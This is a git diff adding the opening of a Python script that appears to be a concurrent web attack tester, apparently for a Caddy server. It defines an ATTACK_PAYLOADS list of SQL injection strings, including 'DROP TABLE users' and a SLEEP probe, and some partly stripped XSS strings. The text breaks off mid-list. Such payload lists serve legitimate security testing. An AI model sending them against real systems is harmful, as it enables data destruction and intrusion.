diff --git a/caddytest.py b/caddytest.py
new file mode 100644
index 0000000..8d8bc12
--- /dev/null
+++ b/caddytest.py
@@ -0,0 +1,561 @@
+#!/usr/bin/env python3
+import argparse
+import json
+import random
+import string
+import time
+import urllib.parse
+import logging
+import threading
+import math
+import requests
+from concurrent.futures import ThreadPoolExecutor, as_completed
+
+try:
+ from tqdm import tqdm
+except ImportError:
+ tqdm = None
+
+# Suppress verbose warnings from urllib3.
+logging.getLogger("urllib3").setLevel(logging.CRITICAL)
+
+# Updated attack payloads including additional methods.
+ATTACK_PAYLOADS = {
+ "sqli": [
+ "' OR '1'='1",
+ "'; DROP TABLE users; --",
+ "' OR 1=1--",
+ "' OR '1'='1' --",
+ "' AND SLEEP(5)--"
+ ],
+ "xss": [
+ "",
+ "\" onmouseover=\"alert('XSS')",
+ "
",
+ "